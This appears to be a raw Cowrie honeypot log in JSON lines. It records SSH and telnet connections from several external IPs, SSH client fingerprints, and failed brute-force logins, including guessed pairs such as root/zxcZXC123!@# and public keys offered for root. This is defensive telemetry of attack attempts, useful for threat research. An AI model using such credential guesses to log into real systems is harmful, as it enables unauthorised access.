{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34384,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f491c72e10","protocol":"telnet","message":"New connection: 192.119.13.58:34384 (10.17.0.5:23) [session: 57f491c72e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:02.643716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40378,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6424596a647","protocol":"telnet","message":"New connection: 192.119.13.58:40378 (10.17.0.5:23) [session: e6424596a647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:03.127676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42224,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1d0fa839c5","protocol":"telnet","message":"New connection: 192.119.13.58:42224 (10.17.0.5:23) [session: 0d1d0fa839c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:03.552270Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50416,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b001a609722","protocol":"ssh","message":"New connection: 45.153.34.112:50416 (10.17.0.5:22) [session: 3b001a609722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:03.957595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:03.962890Z","src_ip":"45.153.34.112","session":"3b001a609722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:04.045314Z","src_ip":"45.153.34.112","session":"3b001a609722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:04.494650Z","src_ip":"45.153.34.112","session":"3b001a609722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":55008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22b6f1b26e4","protocol":"ssh","message":"New connection: 43.130.36.39:55008 (10.17.0.5:22) [session: b22b6f1b26e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:04.713717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:04.787075Z","src_ip":"43.130.36.39","session":"b22b6f1b26e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:04.856915Z","src_ip":"43.130.36.39","session":"b22b6f1b26e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcZXC123!@#","message":"login attempt [root/zxcZXC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:05.125395Z","src_ip":"43.130.36.39","session":"b22b6f1b26e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:05.581903Z","src_ip":"45.153.34.112","session":"3b001a609722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:06.198177Z","src_ip":"43.130.36.39","session":"b22b6f1b26e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55298,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a9b6a9693a","protocol":"telnet","message":"New connection: 192.119.13.58:55298 (10.17.0.5:23) [session: 04a9b6a9693a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:06.599603Z"}
{"eventid":"cowrie.session.closed","duration":0.005486011505126953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:06.604957Z","src_ip":"192.119.13.58","session":"04a9b6a9693a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50446,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b7f72735a1","protocol":"ssh","message":"New connection: 45.153.34.112:50446 (10.17.0.5:22) [session: 06b7f72735a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:07.746045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:07.750356Z","src_ip":"45.153.34.112","session":"06b7f72735a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:07.840617Z","src_ip":"45.153.34.112","session":"06b7f72735a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:08.085470Z","src_ip":"45.153.34.112","session":"06b7f72735a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":47680,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0cf1d6340bc","protocol":"ssh","message":"New connection: 86.111.176.100:47680 (10.17.0.5:22) [session: f0cf1d6340bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:08.623250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:08.628489Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:08.701003Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:8d:0e:7b:ad:48:49:d1:dc:20:e3:04:70:65:84:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8iPuCThKl/yLhN+m8Nn6tPblWF0+g6KKMIkjdnUtVtYkbJ0f4RD1lhKW7JFobUPSB1thnhKKsScivaBfdmA2CsDs5IATUXZTYsx2m3oC8GU7zYlLMzEP2n7XJs8qmeUh3j1afOir4zjRfMNZ+u0LLgxQwP2GtRklVR94esJdjHqZgbbCyUVFSSav4hVOZeqSue+i4b/J0oHeYSQ2zPcTmPBc8Jwzrz+Zik92HyL0Bj8qLJxYtWKwnZIGApdLfxVyXoBf8oFZreE3MOov6HEAr2M+gtqCD3knWiVamfGa6B1cBHhkwlc0OefhTUJRaa9Tsu4BsOU7yB6J89io3a5mp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:8d:0e:7b:ad:48:49:d1:dc:20:e3:04:70:65:84:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.026199Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:8d:0e:7b:ad:48:49:d1:dc:20:e3:04:70:65:84:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8iPuCThKl/yLhN+m8Nn6tPblWF0+g6KKMIkjdnUtVtYkbJ0f4RD1lhKW7JFobUPSB1thnhKKsScivaBfdmA2CsDs5IATUXZTYsx2m3oC8GU7zYlLMzEP2n7XJs8qmeUh3j1afOir4zjRfMNZ+u0LLgxQwP2GtRklVR94esJdjHqZgbbCyUVFSSav4hVOZeqSue+i4b/J0oHeYSQ2zPcTmPBc8Jwzrz+Zik92HyL0Bj8qLJxYtWKwnZIGApdLfxVyXoBf8oFZreE3MOov6HEAr2M+gtqCD3knWiVamfGa6B1cBHhkwlc0OefhTUJRaa9Tsu4BsOU7yB6J89io3a5mp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.030765Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:c3:58:49:0b:dd:c4:d2:f7:dd:d8:66:8d:af:ff:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHvBqyaEgieu8xUN7/N+zAD4qYkLrXRWRjdfZ9gS9dTP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a1:c3:58:49:0b:dd:c4:d2:f7:dd:d8:66:8d:af:ff:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.101069Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:c3:58:49:0b:dd:c4:d2:f7:dd:d8:66:8d:af:ff:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHvBqyaEgieu8xUN7/N+zAD4qYkLrXRWRjdfZ9gS9dTP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.104539Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:de:24:b8:f5:46:49:86:e7:65:76:e7:53:bb:ae:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAytJqiWfQYLpy25Zr6FQuCUaWz3Ghtz1SL6zSBbaWsLwXkqfiZ+11UoIejiloTuEZ7/74ForfO169H4gIFle/iy37X21KUQy/BhZfAQIK8YylybS6T9YF5NW28jUKcExxw52y1xPEd/VJqNfz1MFozT1Y4WDre60vc0L9m4/Ic9fjTem+pgJlPoyBw4Qyew1A6q6bH3gzQVL6RSGkZYtp3N/9fjg7VdtRU1k3/6O3nYXCJcsZnVqpyiSNy2ynPEGhYdDqmMn6zIpU1Rp8NjDD66Wo/hE7NRiqP7C70mgW51RVgRnKS00S3Myq1mMxaFaDcfaSmJBSo+mqWjPC8c7pgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:de:24:b8:f5:46:49:86:e7:65:76:e7:53:bb:ae:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.172974Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:de:24:b8:f5:46:49:86:e7:65:76:e7:53:bb:ae:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAytJqiWfQYLpy25Zr6FQuCUaWz3Ghtz1SL6zSBbaWsLwXkqfiZ+11UoIejiloTuEZ7/74ForfO169H4gIFle/iy37X21KUQy/BhZfAQIK8YylybS6T9YF5NW28jUKcExxw52y1xPEd/VJqNfz1MFozT1Y4WDre60vc0L9m4/Ic9fjTem+pgJlPoyBw4Qyew1A6q6bH3gzQVL6RSGkZYtp3N/9fjg7VdtRU1k3/6O3nYXCJcsZnVqpyiSNy2ynPEGhYdDqmMn6zIpU1Rp8NjDD66Wo/hE7NRiqP7C70mgW51RVgRnKS00S3Myq1mMxaFaDcfaSmJBSo+mqWjPC8c7pgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.177022Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:ca:c8:66:bb:6c:dd:91:b2:07:c2:f1:0e:c4:cc:e5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKgFN/J1syds6kGkgvBFwW5du8QCaboLmjXFl559friRCzmGJL0UuDhEpbZIsyDN4bQyXyQ6jABC1akZ/Szkyt+CGsgTu+c/i7Ea5nM9F3UkUcmLY1a5buLV1lATOCGlqyXEPwf3ec7Ls7vgVZYu+U0VUCd2IBAy6XEvUZqarLoxAAAAFQCepPL9R4Wdb0Xb1H/F/5LqgUPBgQAAAIEAgDYPVrj6OJZCwTS/blSX/O8RuHzerLBzPo1xlGXrQepwftbbogzaprK8TI5whSdu3+2iGZ7IdxTnmZRxC0/Cf22g0KgbJ00u8RLdoZUuxEF0jwBWAlKiNsqsVCmizBUmBBvENrYj7bTMxd6cqV+GPRmbFrjLxWkh1eNalwhUOS4AAACBAKMSOeEJAv6JKAxS70pLJSn2u2KleW3PquoROWNPa3LJYjYEKCeJB0d7XOLOmcMeI54FBp0UJzCueqL7HvpByVKJvr2k17Cq2L5WprJA+J+d8AfOlMtlmGtrNN0vYkP7xZneBZmS4xUhkItAfnOWKlUnjkSXuNpT1eXKvRfM6MYv","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 52:ca:c8:66:bb:6c:dd:91:b2:07:c2:f1:0e:c4:cc:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.249310Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:ca:c8:66:bb:6c:dd:91:b2:07:c2:f1:0e:c4:cc:e5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKgFN/J1syds6kGkgvBFwW5du8QCaboLmjXFl559friRCzmGJL0UuDhEpbZIsyDN4bQyXyQ6jABC1akZ/Szkyt+CGsgTu+c/i7Ea5nM9F3UkUcmLY1a5buLV1lATOCGlqyXEPwf3ec7Ls7vgVZYu+U0VUCd2IBAy6XEvUZqarLoxAAAAFQCepPL9R4Wdb0Xb1H/F/5LqgUPBgQAAAIEAgDYPVrj6OJZCwTS/blSX/O8RuHzerLBzPo1xlGXrQepwftbbogzaprK8TI5whSdu3+2iGZ7IdxTnmZRxC0/Cf22g0KgbJ00u8RLdoZUuxEF0jwBWAlKiNsqsVCmizBUmBBvENrYj7bTMxd6cqV+GPRmbFrjLxWkh1eNalwhUOS4AAACBAKMSOeEJAv6JKAxS70pLJSn2u2KleW3PquoROWNPa3LJYjYEKCeJB0d7XOLOmcMeI54FBp0UJzCueqL7HvpByVKJvr2k17Cq2L5WprJA+J+d8AfOlMtlmGtrNN0vYkP7xZneBZmS4xUhkItAfnOWKlUnjkSXuNpT1eXKvRfM6MYv","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.253903Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:8a:8f:71:ef:ac:02:9a:26:6d:a0:00:17:3c:37:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4/IPwWnUw80pQ/8xe+4wkzp2jaxutl52+OySPdGXUC795DMtBq15axUOOME/hsLEdbrlN61FLjGtbBl3YF2MsFyTdYEkxY5ZeSiMqS9BJ0KrzgNq3KWGedtGVxllTgHRQraZQZ68AfU0cwAELLtXICCgw94Xj/bInFBMrsg7QQiUafe3n4mzVydeu5ssRUYobfWPE4f1UlSxar+ETdDMKQ16PMu1fvmlbaP7Q8oh/oQfimMd3DkTkiNVkf6Mcfc4KgPHEvOavprHSP9K8Ewi1cX+c+sixCdEfQzAJiUJ2Tb2zH3Vz8j0paRXBVYzIwHimzApDUGLGqTxhWkOUbHTQx5DZujy05NbCHh3+ArLBflqrKuXGgcjG/MAkL8Z1hAEey7U6rAY/Rv2c9Ztrm/qIAqzTcnMecF6rwlq9+YcP86yCx/BRFQ6EqpAef4Hvin9S8KXzhzwuZx4DDMFUYLAdaRZodQB9go3vzIpJ15QB4DLAYjK4QnsQaXXAsbahjsJw8dusQytugIpm8+/kIc3aslcnICWcHs05hUxAmJ/6K0UYKnuftV7AB6DnTQLF6qrdAt4ss1FXBdsU1Ft4L88mevzDXFcrq7mPpNQFfHLVk/SqZ4eYzg46EaeETd+jw4rLaJ+2KCIxxOa0XMaQWIny9hSb8E/rKR6sHZCymJ3ffw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:8a:8f:71:ef:ac:02:9a:26:6d:a0:00:17:3c:37:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.324543Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:8a:8f:71:ef:ac:02:9a:26:6d:a0:00:17:3c:37:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4/IPwWnUw80pQ/8xe+4wkzp2jaxutl52+OySPdGXUC795DMtBq15axUOOME/hsLEdbrlN61FLjGtbBl3YF2MsFyTdYEkxY5ZeSiMqS9BJ0KrzgNq3KWGedtGVxllTgHRQraZQZ68AfU0cwAELLtXICCgw94Xj/bInFBMrsg7QQiUafe3n4mzVydeu5ssRUYobfWPE4f1UlSxar+ETdDMKQ16PMu1fvmlbaP7Q8oh/oQfimMd3DkTkiNVkf6Mcfc4KgPHEvOavprHSP9K8Ewi1cX+c+sixCdEfQzAJiUJ2Tb2zH3Vz8j0paRXBVYzIwHimzApDUGLGqTxhWkOUbHTQx5DZujy05NbCHh3+ArLBflqrKuXGgcjG/MAkL8Z1hAEey7U6rAY/Rv2c9Ztrm/qIAqzTcnMecF6rwlq9+YcP86yCx/BRFQ6EqpAef4Hvin9S8KXzhzwuZx4DDMFUYLAdaRZodQB9go3vzIpJ15QB4DLAYjK4QnsQaXXAsbahjsJw8dusQytugIpm8+/kIc3aslcnICWcHs05hUxAmJ/6K0UYKnuftV7AB6DnTQLF6qrdAt4ss1FXBdsU1Ft4L88mevzDXFcrq7mPpNQFfHLVk/SqZ4eYzg46EaeETd+jw4rLaJ+2KCIxxOa0XMaQWIny9hSb8E/rKR6sHZCymJ3ffw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.328748Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.387268Z","src_ip":"45.153.34.112","session":"06b7f72735a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:09.399306Z","src_ip":"86.111.176.100","session":"f0cf1d6340bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43924,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2d241d8c1b","protocol":"ssh","message":"New connection: 45.153.34.112:43924 (10.17.0.5:22) [session: 5b2d241d8c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:11.384362Z"}
